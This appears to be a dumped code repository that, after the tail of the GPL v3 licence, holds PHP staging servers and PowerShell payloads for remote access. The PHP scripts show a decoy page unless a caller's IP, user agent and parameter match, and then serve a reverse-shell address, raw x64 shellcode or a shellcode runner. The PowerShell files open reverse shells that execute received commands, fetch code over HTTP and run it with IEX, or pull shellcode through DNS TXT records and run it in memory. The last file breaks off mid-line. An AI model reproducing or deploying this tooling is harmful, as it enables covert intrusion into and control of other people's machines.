the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). 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"Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /PHP/decoy.php: -------------------------------------------------------------------------------- 1 | ' . base64_decode($decoy) . ''; 9 | } 10 | } 11 | decoy(); 12 | ?> 13 | -------------------------------------------------------------------------------- /PHP/listener.php: -------------------------------------------------------------------------------- 1 | ' . base64_decode($decoy) . ''; 47 | } 48 | } 49 | 50 | function payload() { 51 | $payload = '192.168.0.21,443'; 52 | echo $payload; 53 | } 54 | 55 | $ip = callerIp('192.168.0.29'); 56 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 57 | $param = callerParam('session'); 58 | 59 | if ($ip && $agent && $param) { 60 | payload(); 61 | } else { 62 | decoy(); 63 | } 64 | 65 | ?> 66 | -------------------------------------------------------------------------------- /PHP/restricted-agent.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /PHP/restricted-ip.php: -------------------------------------------------------------------------------- 1 | 28 | -------------------------------------------------------------------------------- /PHP/restricted-parameter.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /PHP/script.php: -------------------------------------------------------------------------------- 1 | ' . base64_decode($decoy) . ''; 47 | } 48 | } 49 | 50 | function payload_shellcode() { 51 | $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5'; 52 | echo $payload; 53 | } 54 | 55 | function payload_runner(){ 56 | $payload = file_get_contents('/home/kali/payloads/shellcode-runner.ps1'); 57 | echo $payload; 58 | } 59 | 60 | $ip = callerIp('192.168.0.29'); 61 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01'); 62 | $param = callerParam('session'); 63 | 64 | if ($ip && $agent && $param) { 65 | payload_runner(); 66 | } else { 67 | $ip = callerIp('192.168.0.29'); 68 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 69 | $param = callerParam('handler'); 70 | if ($ip && $agent && $param) { 71 | payload_shellcode(); 72 | } else { 73 | decoy(); 74 | } 75 | } 76 | ?> 77 | -------------------------------------------------------------------------------- /PHP/shellcode.php: -------------------------------------------------------------------------------- 1 | ' . base64_decode($decoy) . ''; 47 | } 48 | } 49 | 50 | function payload_shellcode() { 51 | $payload = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5'; 52 | echo $payload; 53 | } 54 | 55 | function payload_runner(){ 56 | $payload = file_get_contents('/home/kali/payloads/shellcode-runner.ps1'); 57 | echo $payload; 58 | } 59 | 60 | $ip = callerIp('192.168.0.29'); 61 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01'); 62 | $param = callerParam('session'); 63 | 64 | if ($ip && $agent && $param) { 65 | payload_runner(); 66 | } else { 67 | $ip = callerIp('192.168.0.29'); 68 | $agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00'); 69 | $param = callerParam('handler'); 70 | if ($ip && $agent && $param) { 71 | payload_shellcode(); 72 | } else { 73 | decoy(); 74 | } 75 | } 76 | ?> 77 | -------------------------------------------------------------------------------- /Payloads/dns-listener.ps1: -------------------------------------------------------------------------------- 1 | $DNS = (Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings 2 | $client = New-Object System.Net.Sockets.TCPClient($DNS.split(',')[0],$DNS.split(',')[1]); 3 | $stream = $client.GetStream(); 4 | [byte[]]$bytes = 0..65535|%{0}; 5 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 6 | { 7 | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); 8 | $sendback = (iex $data 2>&1 | Out-String ); 9 | $sendback2 = $sendback + "PS " + (pwd).Path + "> "; 10 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); 11 | $stream.Write($sendbyte,0,$sendbyte.Length); 12 | $stream.Flush() 13 | } 14 | $client.Close() 15 | -------------------------------------------------------------------------------- /Payloads/dns-script.ps1: -------------------------------------------------------------------------------- 1 | # Payload used for the staged script section 2 | function LookupFunc { 3 | Param ( 4 | $moduleName, 5 | $functionName 6 | ) 7 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 8 | $tmp = @() 9 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } } 10 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 11 | } 12 | 13 | function getDelegateType { 14 | Param ( 15 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 16 | [Parameter(Position = 1)] [Type] $delType = [Void] 17 | ) 18 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 19 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 20 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 21 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 22 | return $type.CreateType() 23 | } 24 | 25 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 26 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name lenovo.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.lenovo.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 27 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 28 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),` 29 | (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 30 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 31 | -------------------------------------------------------------------------------- /Payloads/dns-shellcode.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | Param ( 3 | $moduleName, 4 | $functionName 5 | ) 6 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | $tmp = @() 8 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } } 9 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 10 | } 11 | 12 | function getDelegateType { 13 | Param ( 14 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 15 | [Parameter(Position = 1)] [Type] $delType = [Void] 16 | ) 17 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 18 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 19 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 20 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 21 | return $type.CreateType() 22 | } 23 | 24 | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 25 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 26 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 27 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 28 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 29 | -------------------------------------------------------------------------------- /Payloads/php-listener.ps1: -------------------------------------------------------------------------------- 1 | $HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content 2 | $client = New-Object System.Net.Sockets.TCPClient($HTTP.split(',')[0],$HTTP.split(',')[1]); 3 | $stream = $client.GetStream(); 4 | [byte[]]$bytes = 0..65535|%{0}; 5 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 6 | { 7 | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); 8 | $sendback = (iex $data 2>&1 | Out-String ); 9 | $sendback2 = $sendback + "PS " + (pwd).Path + "> "; 10 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); 11 | $stream.Write($sendbyte,0,$sendbyte.Length); 12 | $stream.Flush() 13 | } 14 | $client.Close() 15 | -------------------------------------------------------------------------------- /Payloads/php-script.ps1: -------------------------------------------------------------------------------- 1 | $((Invoke-WebRequest http://192.168.0.21/payload.php?session -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01' -Headers @{'X-Forwarded-For' = '192.168.0.29'}).Content) | IEX 2 | -------------------------------------------------------------------------------- /Payloads/php-shellcode.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | Param ( 3 | $moduleName, 4 | $functionName 5 | ) 6 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | $tmp = @() 8 | $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } } 9 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 10 | } 11 | 12 | function getDelegateType { 13 | Param ( 14 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 15 | [Parameter(Position = 1)] [Type] $delType = [Void] 16 | ) 17 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 18 | DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 19 | $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') 20 | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') 21 | return $type.CreateType() 22 | } 23 | 24 | $lpMem = 